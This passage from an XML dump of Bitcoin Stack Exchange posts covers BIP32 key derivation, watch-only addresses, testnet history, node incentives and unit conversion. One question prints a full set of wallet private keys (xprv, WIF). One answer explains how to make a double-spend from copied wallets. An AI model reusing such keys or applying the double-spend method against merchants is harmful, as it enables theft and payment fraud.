 &quot;hash160_uncompressed&quot;: &quot;81b1f48274c505147b5bf587db589062b1b69f5b&quot;, &#xA;   &quot;key_pair_as_sec&quot;: &quot;02c2f7da1cdc57f27e145a9fda472bfdc16cfc5b4ee32ee222413b0d88edc965f1&quot;, &#xA;   &quot;key_pair_as_sec_uncompressed&quot;: &quot;04c2f7da1cdc57f27e145a9fda472bfdc16cfc5b4ee32ee222413b0d88edc965f1a42ae022c788b0979dd88be456fd1c978ff3b0106799bc17de4cd46d17832970&quot;, &#xA;   &quot;netcode&quot;: &quot;BTC&quot;, &#xA;   &quot;parent_fingerprint&quot;: &quot;35a566ae&quot;, &#xA;   &quot;private_key&quot;: &quot;yes&quot;, &#xA;   &quot;public_pair_x&quot;: &quot;88186609208940930858580461894832276236539662740019279303523484605501248464369&quot;, &#xA;   &quot;public_pair_x_hex&quot;: &quot;c2f7da1cdc57f27e145a9fda472bfdc16cfc5b4ee32ee222413b0d88edc965f1&quot;, &#xA;   &quot;public_pair_y&quot;: &quot;74255061673209624574278121782459859935947830070827127273487212667373296494960&quot;, &#xA;   &quot;public_pair_y_hex&quot;: &quot;a42ae022c788b0979dd88be456fd1c978ff3b0106799bc17de4cd46d17832970&quot;, &#xA;   &quot;public_version&quot;: &quot;xpub6AAW9FwEvZaNLKtYTx1vFA1R1dVQv5GwTXwqgCg6GXq7E3fKVz7aaNGLFVcHH9LpWgqUpJ7FRFcibtRWzJ1WegqzZyynr66KxDLUPcpjRNK&quot;, &#xA;   &quot;secret_exponent&quot;: &quot;88370307846732603980165533658065807515286167433444038693954586861070917075377&quot;, &#xA;   &quot;secret_exponent_hex&quot;: &quot;c35fd25e084c54afae5c7a9942f1374780bd2b8a55e4148c5615ea2ed84c81b1&quot;, &#xA;   &quot;subkey_path&quot;: &quot;1/2&quot;, &#xA;   &quot;tree_depth&quot;: &quot;2&quot;, &#xA;   &quot;wallet_key&quot;: &quot;xprv9wB9jkQM6C257qp5MvUut24gTbevWcZ66K2EspGUiCJ8MFLAxSoL2ZwrQEahDCk2EugHxu5w6p5z6cHLdk9yE9bC5axxbaT49Ccs4UUPTzb&quot;, &#xA;   &quot;wif&quot;: &quot;L3mVYhLfDx23vrSRdWYQgk1Myqga4cFXVepcFJ4EQ774e5GRFHXB&quot;, &#xA;   &quot;wif_uncompressed&quot;: &quot;5KJL9zdB282beaQS4jwhFttHY19xyZ17uiCEspN87bTkRJEHtZH&quot;, &#xA;   &quot;y_parity&quot;: &quot;even&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9876" LastEditorUserId="2306" LastEditDate="2015-04-22T18:16:27.580" LastActivityDate="2015-04-22T18:16:27.580" Title="BIP32 child derivation from another child" Tags="|address|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36248" PostTypeId="5" CreationDate="2015-02-27T22:21:21.497" Score="0" Body="&lt;p&gt;Ethereum is a &quot;Bitcoin 2.0 / Web 3.0&quot; distributed computing system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Bitcoin, Ethereum uses a blockchain to store data and a virtual machine running a stack-based scripting language to act on transactions. Ethereum takes this further than Bitcoin by having a Turing-complete scripting language, with computing time allocated using a pay-per-instruction scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contracts on the blockchain are accessed using an HTML/JavaScript interface, this combination is known as a &quot;Dapp&quot;, a Distributed Application. Dapps can query contract state locally and send transactions to the network. The results of contract code running in response to those transactions will be incorporated into the blockchain by a consensus network of Bitcoin-style miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire Ethereum network has the processing power of a 1999-era mobile phone, and given the costs of computing and storage on the network it should not be used for computationally or storage heavy tasks. Rather it should be used to publish and validate important state information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information see - &lt;a href=&quot;https://ethereum.org/&quot; rel=&quot;nofollow&quot;&gt;https://ethereum.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1660" LastEditorUserId="1660" LastEditDate="2015-02-27T22:35:30.990" LastActivityDate="2015-02-27T22:35:30.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36249" PostTypeId="4" CreationDate="2015-02-27T22:21:21.497" Score="0" Body="Questions about Ethereum are off topic.&#xD;&#xA;&#xD;&#xA;A blockchain-based &quot;smart contract&quot; system with a Turing-complete contract programming language. Questions about Ethereum should be asked on the dedicated Ethereum site: https://ethereum.stackexchange.com. " OwnerUserId="1660" LastEditorUserId="48884" LastEditDate="2019-07-17T18:45:35.287" LastActivityDate="2019-07-17T18:45:35.287" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36250" PostTypeId="2" ParentId="36247" CreationDate="2015-02-27T23:41:53.433" Score="2" Body="&lt;p&gt;I was able to derive the first part from the second using the &lt;a href=&quot;https://github.com/btcsuite/btcutil&quot; rel=&quot;nofollow&quot;&gt;btcutil package&lt;/a&gt; from btcsuite:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package main&#xA;&#xA;import (&#xA;    &quot;fmt&quot;&#xA;&#xA;    &quot;github.com/btcsuite/btcutil/hdkeychain&quot;&#xA;)&#xA;&#xA;func main() {&#xA;    xkey, _ := hdkeychain.NewKeyFromString(&quot;xprv9wB9jkQM6C257qp5MvUut24gTbevWcZ66K2EspGUiCJ8MFLAxSoL2ZwrQEahDCk2EugHxu5w6p5z6cHLdk9yE9bC5axxbaT49Ccs4UUPTzb&quot;)&#xA;    // go to child &quot;1&quot;&#xA;    child1, _ := xkey.Child(1)&#xA;    // go to child &quot;2&quot;&#xA;    child2, _ := child1.Child(2)&#xA;&#xA;    pub, _ := child2.ECPubKey()&#xA;&#xA;    serialized := fmt.Sprintf(&quot;%x&quot;, pub.SerializeUncompressed())&#xA;    fmt.Printf(&quot;Is Equal: %v\n&quot;, serialized == &quot;04f9f02c77c6941f6352a2dd0a49964855ca239f008cd3be82532dacda0a3c79cd3872f468b85780e4bdcf377d8edf489598db1c2599cda0b850485fca2dbfb2cc&quot;)&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the serialized uncompressed format is from the &lt;code&gt;1/2/1/2&lt;/code&gt; node and the xprv is from the &lt;code&gt;1/2&lt;/code&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run this program, you should get &quot;Is Equal: true&quot;.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-27T23:41:53.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36251" PostTypeId="1" AcceptedAnswerId="36266" CreationDate="2015-02-28T02:35:41.010" Score="2" ViewCount="544" Body="&lt;p&gt;I imported a watch-only address to bitcoind by using below command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli importaddress &amp;lt;myaddress&amp;gt; &quot;testacc&quot; true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.org/en/release/v0.10.0&quot; rel=&quot;nofollow&quot;&gt;release notes&lt;/a&gt; it should support some rpc calls for this watch- only address:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following RPCs have optional support for watch-only: getbalance, listreceivedbyaddress, listreceivedbyaccount, listtransactions, listaccounts, listsinceblock, gettransaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even it is not written in release notes, i can catch new transactions by calling &lt;em&gt;listunspent&lt;/em&gt;. But the problem is when i try to call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listtransactions testacc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listreceivedbyaddress 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the first call returns an empty array and the result of second call doesn't contains any information about this watch-only address. What may be the problem here?&lt;/p&gt;&#xA;" OwnerUserId="24439" LastActivityDate="2015-02-28T21:51:20.807" Title="watch-only addresses doesn't work properly in bitcoind v0.10.0" Tags="|bitcoind|json-rpc|watch-only|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36252" PostTypeId="1" AcceptedAnswerId="36580" CreationDate="2015-02-28T05:33:07.470" Score="4" ViewCount="863" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki: Testnet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There have been three generations of testnet. Testnet2 was just the first testnet reset with a different genesis block, because people were starting to trade testnet coins for real money. Testnet3 is the current test network. It was introduced with the 0.7 release, introduced a third genesis block, a new rule to avoid the &quot;difficulty was too high, is now too low, and transactions take too long to verify&quot; problem, and contains blocks with edge-case transactions designed to test implementation compatibility.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm interested to know about Testnet(1) and Testnet2: the differences, the reason each version was deprecated (in particular, how/why people were selling TBTCs). I'm interested in the &quot;historical context&quot; as much as I am technical reasons for changing to a new Testnet version.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-03-28T06:23:18.277" Title="Testnet version history" Tags="|testnet|history|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36253" PostTypeId="1" AcceptedAnswerId="36293" CreationDate="2015-02-28T07:18:43.480" Score="11" ViewCount="4808" Body="&lt;p&gt;Intel is scheduled to release their new x86 &lt;a href=&quot;http://en.wikipedia.org/wiki/Skylake_%28microarchitecture%29&quot; rel=&quot;noreferrer&quot;&gt;SkyLake microarchitecture&lt;/a&gt; in Q3 2015. Among other interesting features, it will introduce &lt;a href=&quot;http://en.wikipedia.org/wiki/Intel_SHA_extensions&quot; rel=&quot;noreferrer&quot;&gt;SHA extensions&lt;/a&gt; that will allow hardware acceleration of the Secure Hash Algorithm family, including SHA256 as used by Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of SHA crunching speed, it is common lore that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU &amp;lt; GPU &amp;lt; FPGA &amp;lt; ASIC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where will these new extensions fit in this row? And how many orders of magnitude of speed difference can we expect them to have in comparison to the above hardware options?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be useful to compare the extent to which Intel's existing AES extensions speed up AES functions compared to software-only AES?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: After reading up more on these kinds of special purpose CPU instructions, I realize they will most likely speed things up to be only &lt;em&gt;several times&lt;/em&gt; faster than the software baseline; not &lt;em&gt;several orders of magnitude&lt;/em&gt; faster, like ASICs, or even FPGAs are. Still, the question might be an interesting reference so I'll leave it.&lt;/p&gt;&#xA;" OwnerUserId="19556" LastEditorUserId="5406" LastEditDate="2016-03-05T15:13:18.310" LastActivityDate="2017-06-12T13:05:51.623" Title="What mining performance can we roughly expect from the Intel SHA extensions of the upcoming Skylake processor architecture?" Tags="|hashpower|mining-hardware|cpu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36254" PostTypeId="1" AcceptedAnswerId="36312" CreationDate="2015-02-28T10:07:00.747" Score="1" ViewCount="1221" Body="&lt;p&gt;I have some troubles to understand the logic behing addresses and wallets. I use Multibit to manage my BTC. I have one wallet with 5 receiving addresses. I have transfered from an exchange website 0.1BTC to each of my receiving address. So Multibit indicates that my wallet balance is 0.5BTC (to simplify, I don't include the transaction fees). &#xA;So far so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't get is why I can't see  in multibit the balance of each of my receiving addresses seperatly, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A1 = 0.1&#xA;A2 = 0.1&#xA;A3 = 0.1&#xA;A4 = 0.1&#xA;A5 = 0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I got it right, it's because now the 0.5BTC aren't anylonger tied up to the receiving address I sent them to but only to my wallet. This would mean that it is useless for me to send money from my wallet to a A1 for example to get this new balance...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A1 = 0.3&#xA;A2 = 0.1&#xA;A3 = 0.1&#xA;A4 = 0&#xA;A5 = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...because it would be exactly the same as the total balance of my wallet would still be 0.5BTC. But this doesn't seems right because blockchain track the amount of transaction per addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then why can't I choose from which &quot;receiving&quot; address out of the 5 I have, I want to take the money of when I sent BTC? Multibit only ask me the receiving address where I want to send the money to not the address where it takes the money of. Who get to choose which  &lt;strong&gt;&lt;em&gt;sender&lt;/em&gt;&lt;/strong&gt; address will be kept in the blockchain? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really confusing! Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="23205" LastActivityDate="2015-03-04T08:12:30.517" Title="Why can I only see the balance of my wallet and not the one of each of my receiving addresses? (Multibit)" Tags="|transactions|wallet|address|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36257" PostTypeId="1" AcceptedAnswerId="36268" CreationDate="2015-02-28T16:52:22.523" Score="3" ViewCount="643" Body="&lt;p&gt;Does blockexplorer.com have a bug or some other reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockexplorer.com/q/getreceivedbyaddress/1KWd23GZ4BmTMo9zcsUZXpWP4M8hmxZwRU&quot; rel=&quot;nofollow&quot;&gt;https://blockexplorer.com/q/getreceivedbyaddress/1KWd23GZ4BmTMo9zcsUZXpWP4M8hmxZwRU&lt;/a&gt;&#xA;1.95331249&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/q/getreceivedbyaddress/1KWd23GZ4BmTMo9zcsUZXpWP4M8hmxZwRU&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/q/getreceivedbyaddress/1KWd23GZ4BmTMo9zcsUZXpWP4M8hmxZwRU&lt;/a&gt;&#xA;1.90576350&lt;/p&gt;&#xA;" OwnerUserId="19343" LastEditorUserId="2306" LastEditDate="2015-02-28T19:32:32.267" LastActivityDate="2015-03-01T02:11:12.687" Title="blockchain.info and blockexplorer.com show different balance for the same address" Tags="|blockchain|blockchain.info|blockexplorer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36258" PostTypeId="2" ParentId="3051" CreationDate="2015-02-28T18:12:44.910" Score="3" Body="&lt;p&gt;The bitcoin network does NOT relay unconfirmed transactions that double spend other unconfirmed transactions, so neither blockchain.info not anyone else sees most unconfirmed double-spends.  Nodes do not store two conflicting spends - they store only the first one they see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is becoming a bigger challenge for merchants because they need to connect to thousands of nodes in the hope of spotting double-spends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt/releases&quot; rel=&quot;nofollow&quot;&gt;Bitcoin XT&lt;/a&gt; patch set is an early release of functions that are proposed for Bitcoin Core.  It does relay double spends, and notifies the wallet of double-spend attempts that affect it.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2015-02-28T18:12:44.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36259" PostTypeId="2" ParentId="20929" CreationDate="2015-02-28T18:41:26.307" Score="0" Body="&lt;p&gt;With Bitcoin Core, or most any local wallet, you can generate a double-spend without complex raw transaction tricks, simply by making two copies of your wallet, then doing one spend from each, using at least one of the same inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to make sure the second wallet is not connected to the network when you transmit the spend from the first, and transmit both before the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network will mostly ignore the double-spend (but see &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin XT&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WARNING: Using more than one copy of a wallet is very dangerous.  See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/490/can-i-use-my-wallet-on-different-computers&quot;&gt;Can I use my wallet on different computers?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21546" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-28T18:41:26.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36260" PostTypeId="2" ParentId="12173" CreationDate="2015-02-28T18:54:26.887" Score="0" Body="&lt;h3&gt;Satoshi to BTC&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(Mathematical formula: Value * 10 ^ -8):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$satoshi = 5000; //Satoshi to btc&#xA;echo number_format(($satoshi)*(pow(10, -8)), 8, '.', ''); //Returns 0.00005000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;BTC to Satoshi&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(Mathematical formula: Value * 10 ^ 8):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$btc = 0.00005; //Btc to satoshi&#xA;echo ($btc)*(pow(10, 8)); //Returns 5000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Explanation&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pow() - Exponential expression&#xA;number_format($var, 8, '.', '') - Returns a number eight decimal places&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24528" LastEditorUserId="24528" LastEditDate="2015-03-01T01:13:05.110" LastActivityDate="2015-03-01T01:13:05.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36261" PostTypeId="2" ParentId="722" CreationDate="2015-02-28T19:13:48.887" Score="1" Body="&lt;p&gt;The old answer from David Schwartz implies that no successful double-spend, of even an UNCONFIRMED transaction, has ever been seen.  That needs to be updated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There has been at least one significant double-spend -- of a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=152348.msg1618157#msg1618157&quot; rel=&quot;nofollow&quot;&gt;15-confirmation transaction&lt;/a&gt; during the .7/.8 fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are successful double-spends of unconfirmed transactions every day.  See &lt;a href=&quot;http://respends.thinlink.com&quot; rel=&quot;nofollow&quot;&gt;http://respends.thinlink.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2015-02-28T19:13:48.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36262" PostTypeId="2" ParentId="30750" CreationDate="2015-02-28T19:33:42.310" Score="0" Body="&lt;p&gt;Check out &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt/releases&quot; rel=&quot;nofollow&quot;&gt;Bitcoin XT&lt;/a&gt; which is an early release version of functions that are proposed for Bitcoin Core.  It relays double spends, and notifies the wallet of double-spend attempts that affect it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hook up your own code to be run immediately when a double-spend is detected, using the -respendnotify option.&lt;/p&gt;&#xA;" OwnerUserId="21546" LastActivityDate="2015-02-28T19:33:42.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36263" PostTypeId="1" AcceptedAnswerId="36269" CreationDate="2015-02-28T19:42:26.370" Score="3" ViewCount="347" Body="&lt;p&gt;Are there any Android BTC clients that remotely use my Bitcoin Core wallet so I don't have to use another wallet specific for my phone? I am running my own BTC node.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="2306" LastEditDate="2015-03-01T07:40:10.470" LastActivityDate="2015-03-01T07:40:10.470" Title="Android BTC clients that remotely use my Bitcoin Core wallet?" Tags="|wallet|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36264" PostTypeId="1" AcceptedAnswerId="36265" CreationDate="2015-02-28T19:44:28.270" Score="12" ViewCount="11607" Body="&lt;p&gt;&lt;a href=&quot;https://getaddr.bitnodes.io/&quot;&gt;Bitnodes&lt;/a&gt; shows everyone running nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these people incentivized to run nodes? If not, why not? If so, do node operators make some BTC from transaction fees, etc.?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2015-02-28T20:39:35.407" LastActivityDate="2018-10-08T03:17:56.603" Title="Are people incentivized with BTC to run nodes?" Tags="|nodes|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36265" PostTypeId="2" ParentId="36264" CreationDate="2015-02-28T20:12:38.437" Score="16" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are these people incentivized to run nodes?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Their reasons for running a full node varies. Some of them want Bitcoin to succeed. Some of them are merchants and run a full node as part of their business. Some of them have spare computing power, and don't have a strong preference as to how it's used.  It's worked out reasonably well so far.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If not, why not?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's extremely challenging to prove that you're running a full node. &lt;a href=&quot;https://github.com/basil00/PseudoNode&quot; rel=&quot;noreferrer&quot;&gt;This code&lt;/a&gt; pretends to be a full node, though it really just forwards requests it can't answer to other nodes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, do node operators make some BTC from transaction fees, etc.?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. Miners receive transaction fees, although it's not a substantial part of the overall block reward. (Most node operators are not miners.)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-08-31T17:41:21.023" LastActivityDate="2016-08-31T17:41:21.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36266" PostTypeId="2" ParentId="36251" CreationDate="2015-02-28T21:51:20.807" Score="4" Body="&lt;p&gt;It seems that v0.10.0 is not documented yet, apart from the release notes. Referring to the github repository: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4045&quot; rel=&quot;nofollow&quot;&gt;Issue #4045&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that a boolean watchonly argument is needed at the end of those commands. Thus below commands would work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listtransactions testacc 100 0 true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli listreceivedbyaddress 0 false true [account, includeempty, includewatchonly]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24530" LastActivityDate="2015-02-28T21:51:20.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36267" PostTypeId="2" ParentId="10671" CreationDate="2015-03-01T00:05:22.470" Score="1" Body="&lt;p&gt;The app &quot;Bither&quot; does exactly what you want (available for iPhone and Android). QR-codes are used for transfer (instead of USB stick in case of Armory).&lt;/p&gt;&#xA;" OwnerUserId="24532" LastEditorUserId="24532" LastEditDate="2015-03-01T00:10:49.080" LastActivityDate="2015-03-01T00:10:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36268" PostTypeId="2" ParentId="36257" CreationDate="2015-03-01T02:11:12.687" Score="3" Body="&lt;p&gt;Their definitions of 'total received' differ in that blockchain.info does not count change outputs as an amount 'received', whereas most other explorers do (since there is no way in general to determine if an output is really change or not, unless change is sent back to the sending address, which is the case for blockchain.info wallets).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/295f3o/why_do_blockchaininfo_and_insight_display/&quot; rel=&quot;nofollow&quot;&gt;related post&lt;/a&gt; on reddit.&lt;/p&gt;&#xA;" OwnerUserId="21408" LastActivityDate="2015-03-01T02:11:12.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36269" PostTypeId="2" ParentId="36263" CreationDate="2015-03-01T03:08:09.003" Score="1" Body="&lt;p&gt;No. Something like that would be problematic security wise because it means you have to open up your computer running Bitcoin Core to the rest of the internet. Having two seperate wallets is not really much of an inconvenience because it is easy to send bitcoins between them. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-03-01T03:08:09.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36270" PostTypeId="1" CreationDate="2015-03-01T04:25:46.720" Score="6" ViewCount="4494" Body="&lt;p&gt;If I wanted to imprint the blockchain data on a database, with the purpose of performing complex or just different than the RPC-based queries, how would I do it? Would I have to go for a relational database or a NoSQL one? Eventually the database would be filled with hundreds of millions of records, which databases would perform well (respond quickly) to these gigantic numbers?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastActivityDate="2018-02-01T12:10:29.783" Title="How to store blockchain data" Tags="|blockchain|database|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36272" PostTypeId="2" ParentId="18519" CreationDate="2015-03-01T12:00:50.280" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11115/is-there-a-wallet-for-different-cryptocurrencies&quot;&gt;Here's a related question&lt;/a&gt; but it only describes UFASoft Coin, which seems like a windows-only desktop application. If you're looking for a cloud solution I've found &lt;a href=&quot;https://holytransaction.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HolyTransaction&lt;/a&gt; to work pretty good.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-03-01T12:00:50.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36273" PostTypeId="1" CreationDate="2015-03-01T13:19:07.583" Score="1" ViewCount="358" Body="&lt;p&gt;I'm looking for Bitcoin accepted Charities. I want to make a list of the charities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that &lt;a href=&quot;https://en.bitcoin.it/wiki/Donation-accepting_organizations_and_projects&quot; rel=&quot;nofollow&quot;&gt;Donation-accepting organizations and projects&lt;/a&gt; but I prefer organizations which are saving children, providing educations or solving environmental issues. Typical examples are UNICEF and WWF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, I need to know the charitable bitcoin address. I mean that using payment processer, like bitpay, are not useful in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The followings are what I found it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitgivefoundation.org/&quot; rel=&quot;nofollow&quot;&gt;BitGive&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dignitasinternational.org/&quot; rel=&quot;nofollow&quot;&gt;Dignitas International&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there any organizations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19338" LastActivityDate="2015-03-01T13:40:29.800" Title="Bitcoin accepted charities or organizations" Tags="|charity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36274" PostTypeId="2" ParentId="36200" CreationDate="2015-03-01T13:20:13.010" Score="4" Body="&lt;p&gt;The short answer is cloud-hashing is not profitable as you might expect. You can still generate profit but its value is minuscule compared to the investment. To concretely answer this question, I'm going to share with you a model I developed to calculate profit from the cloud-hasing service (bit-miner.com).&lt;/p&gt;&#xA;&lt;h1&gt;Profit Model&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6yXsX.png&quot; alt=&quot;Cloud Mining Profit Calculator&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/1kae0A23E4csD-qC-WLtChjVUxudki18Irdkgqc7BsEM/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google Sheets Link&lt;/a&gt; if you want to fiddle with the numbers.&lt;/p&gt;&#xA;&lt;h2&gt;The Investment&lt;/h2&gt;&#xA;&lt;p&gt;I bought a total of &lt;strong&gt;30 shares&lt;/strong&gt; for an investment value of &lt;strong&gt;322$&lt;/strong&gt; (payment charges included) for &lt;strong&gt;9.90$ a share&lt;/strong&gt;. The service distributes &lt;strong&gt;dividends&lt;/strong&gt; twice per month for  the value of &lt;strong&gt;~0.00128193 BTC&lt;/strong&gt; per share.&lt;/p&gt;&#xA;&lt;h2&gt;The Math&lt;/h2&gt;&#xA;&lt;p&gt;Given the investment above, this service will put in my balance a total of &lt;strong&gt;~0.0807714 BTC&lt;/strong&gt; per month. Assuming the BTC/USD exchange rate is fixed at 